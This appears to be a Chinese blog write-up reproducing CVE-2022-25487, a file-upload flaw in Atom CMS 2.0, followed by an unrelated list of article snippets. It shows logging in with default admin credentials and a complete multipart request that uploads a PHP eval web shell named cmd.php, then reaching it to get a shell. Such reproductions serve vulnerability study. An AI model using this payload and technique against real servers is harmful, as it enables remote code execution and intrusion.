CVE-2022-25487 漏洞复现
漏洞描述：Atom CMS 2.0版本存在远程代码执行漏洞，该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。
其实这就是一个文件上传漏洞罢了。。。。
打开之后，/home路由是个空白
信息搜集：该cms有默认邮箱/密码 alan@alan.com/password，到/admin路由下尝试登录。
Users下有个上传文件功能，可能是上传头像用的。
抓包中无文件上传的内容？？？？（奇奇怪怪）
看了一下，漏洞路由在/admin/uploads.php，直接在界面中点击到不了这个路由。。。。
直接修改刚刚的包吧
直接传php文件，这cms写的真shit
Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: image/jpeg<?php @eval($_POST['cmd']);?>
-----------------------------30623082103363803402542706041--
访问木马存储路由/uploads/1707520195231.phpgetshell
相关文章：
CVE-2022-25487 漏洞复现
漏洞描述：Atom CMS 2.0版本存在远程代码执行漏洞，该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。 其实这就是一个文件上传漏洞罢了。。。。 打开之后，/home路由是个空白 信息搜集&…...
C#面：强类型和弱类型
强类型 强类型是指在编程语言中，变量必须明确声明其数据类型，并且在编译时会进行类型检查的特性。它可以提高代码的可读性和可维护性，但有时需要显式地进行类型转换。换句话说，强类型语言要求变量的类型在编译时就要确定…...
nodejs和npm和vite
Nodejs 简单的说 Node.js 就是运行在服务端的 JavaScript。 Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。 Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境 用途： Node.js 可以被看作是一个 JavaScript 运行时环境，专门用于在服务…...
相机图像质量研究(24)常见问题总结：CMOS期间对成像的影响--摩尔纹
系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结：光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结：光学结构对成…...
Redis -- 数据库管理
目录 前言 切换数据库(select) 数据库中key的数量（dbsize） 清除数据库（flushall flushdb） 前言 MySQL有一个很重要的概念，那就是数据库database，一个MySQL里面有很多个database，一个datab…...
蓝桥杯（Web大学组）2023省赛真题：视频弹幕
思路： 主要是要仔细阅读题目以及理解给出的已有代码，进行函数间的调用、定时器的使用、元素移除、清除定时器等，注意细节。 笔记： height不要写成hight设置left时,记得加单位px可以获取left的值进行计算，但要注意sp…...
真假难辨 - Sora(OpenAI)/世界模拟器的技术报告
目录 引言技术报告汉译版英文原版 引言 Sora是OpenAI在2024年2月15日发布的世界模拟器，功能是通过文本可以生成一分钟的高保真视频。由于较高的视频质量，引起了巨大关注。下面是三个示例，在示例之后给出了其技术报告： tokyo-wal…...
Linux第52步_移植ST公司的linux内核第4步_关闭内核模块验证和log信息时间戳_编译_并通过tftp下载测试
1、采用程序配置关闭“内核模块验证” 默认配置文件“stm32mp1_atk_defconfig”路径为“arch/arm/configs”; 使用VSCode打开默认配置文件“stm32mp1_atk_defconfg”，然后将下面的4条语句屏蔽掉，如下： CONFIG_MODULE_SIGy CONFIG_MODULE_…...
ctfshow-web21~28-WP
爆破(21-28) web21 题目给了一个zip文件，打开后解压是爆破的字典，我们抓包一下网址看看 发现账号和密码都被base64了，我们发送到intruder模块，给爆破的位置加上$符圈住 去base64解码一下看看格式...
鸿蒙开发系列教程（二十四）--List 列表操作（3）
列表编辑 1、新增列表项 定义列表项数据结构和初始化列表数据，构建列表整体布局和列表项。 提供新增列表项入口，即给新增按钮添加点击事件。 响应用户确定新增事件，更新列表数据。 2、删除列表项 列表的删除功能一般进入编辑模式后才可…...
线性代数笔记2--矩阵消元
0. 简介 矩阵消元 1. 消元过程 实例方程组 { x 2 y z 2 3 x 8 y z 12 4 y z 2 \begin{cases} x2yz2\\ 3x8yz12\\ 4yz2 \end{cases} ⎩ ⎨ ⎧x2yz23x8yz124yz2 矩阵化 A [ 1 2 1 3 8 1 0 4 1 ] X [ x y z ] A \begin{bmatrix} 1 & 2 & 1 \\ 3 & …...
透光力之珠——光耦固态继电器的独特特点解析
光耦固态继电器作为现代电子控制领域中的重要组件，以其独特的特点在工业、通信、医疗等多个领域得到广泛应用。本文将深入剖析光耦固态继电器的特点，揭示其在电子控制中的卓越性能。 光耦固态继电器的光电隔离技术 光耦固态继电器以其光电隔离技术而脱颖…...
C#系列-EntityFrameworkCore.Transactions.Abstractions应用场景+实例（38）
EntityFrameworkCore.Transactions.Abstractions应用场景 EntityFrameworkCore.Transactions.Abstractions 并不是一个官方的或广泛认可的 NuGet 包名称。在 Entity Framework Core (EF Core) 中，事务管理通常是通过 DbContext 的内置方法来实现的，如 Sa…...
PMDG 737
在Simbrief中生成计划后下载两个文件 放到C:\Users\32497\AppData\Local\Packages\Microsoft.FlightSimulator_8wekyb3d8bbwe\LocalState\packages\pmdg-aircraft-737(微软商店版本) 加油 先在飞行计划中查看计划燃油数量 MCDU中, AIRPLANE SEVICE 第二页, REQUEST FUEL TR…...
深入探索Midjourney：领航人工智能的新征程
深入探索Midjourney：领航人工智能的新征程 引言 在这个数据驱动、以技术创新为核心的时代，Midjourney以其独特的特性在人工智能领域中崭露头角。作为一款前沿的人工智能工具，它不仅重新定义了人机交互的方式，而且为各行各业提供…...
ChatGPT高效提问—prompt实践（漏洞风险分析-重构建议-识别内存泄漏）
ChatGPT高效提问—prompt实践（漏洞风险分析-重构建议-识别内存泄漏） 1.1 漏洞和风险分析 ChatGPT还可以帮助开发人员预测代码的潜在风险，识别其中的安全漏洞，而不必先运行它，这可以让开发人员及早发现错误࿰…...
【AIGC】Stable Diffusion 的提示词入门
一、正向提示词和反向提示词 Stable Diffusion 中的提示词通常用于指导用户对生成的图像进行控制。这些提示词可以分为正向提示词（Positive Prompts）和反向提示词（Negative Prompts）两类，它们分别影响图像生成过程中的…...
力扣---通配符匹配
题目描述： 给你一个输入字符串 (s) 和一个字符模式 (p) ，请你实现一个支持 ? 和 * 匹配规则的通配符匹配： ? 可以匹配任何单个字符。 * 可以匹配任意字符序列（包括空字符序列）。 判定匹配成功的充要条件是ÿ…...
Rust 原生类型
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言一、标量类型（scalar type）二、 复合类型（compound type）总结 前言 Rust 学习系列 ，rust中的原生类…...
09、全文检索 -- Solr -- SpringBoot 整合 Spring Data Solr （生成DAO组件 和 实现自定义查询方法）
目录 SpringBoot 整合 Spring Data SolrSpring Data Solr的功能（生成DAO组件）：Spring Data Solr大致包括如下几方面功能：Query查询（属于半自动）代码演示：1、演示通过dao组件来保存文档1、实体类…...
java_网络服务相关_gateway_nacos_feign区别联系
1. spring-cloud-starter-gateway 作用：作为微服务架构的网关，统一入口，处理所有外部请求。 核心能力： 路由转发（基于路径、服务名等）过滤器（鉴权、限流、日志、Header 处理）支持负…...
循环冗余码校验CRC码 算法步骤+详细实例计算
通信过程：（白话解释） 我们将原始待发送的消息称为 M M M，依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)（意思就是 G （ x ) G（x) G（x) 是已知的）࿰…...
剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表，若其中包含环，则输出环的入口节点。 若其中不包含环，则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...
跨链模式：多链互操作架构与性能扩展方案
跨链模式：多链互操作架构与性能扩展方案 ——构建下一代区块链互联网的技术基石 一、跨链架构的核心范式演进 1. 分层协议栈：模块化解耦设计 现代跨链系统采用分层协议栈实现灵活扩展（H2Cross架构）： 适配层…...
css3笔记 （1） 自用
outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size：0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格ÿ…...
蓝桥杯3498 01串的熵
问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798， 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store： 我们在使用异步的时候理应是要使用中间件的，但是configureStore 已经自动集成了 redux-thunk，注意action里面要返回函数 import { configureS…...
sipsak：SIP瑞士军刀！全参数详细教程！Kali Linux教程！
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求，并检查收到的响应。它以以下模式之一…...
C/C++ 中附加包含目录、附加库目录与附加依赖项详解
在 C/C 编程的编译和链接过程中，附加包含目录、附加库目录和附加依赖项是三个至关重要的设置，它们相互配合，确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中，这些概念容易让人混淆，但深入理解它们的作用和联…...
CSS | transition 和 transform的用处和区别
省流总结： transform用于变换/变形，transition是动画控制器 transform 用来对元素进行变形，常见的操作如下，它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...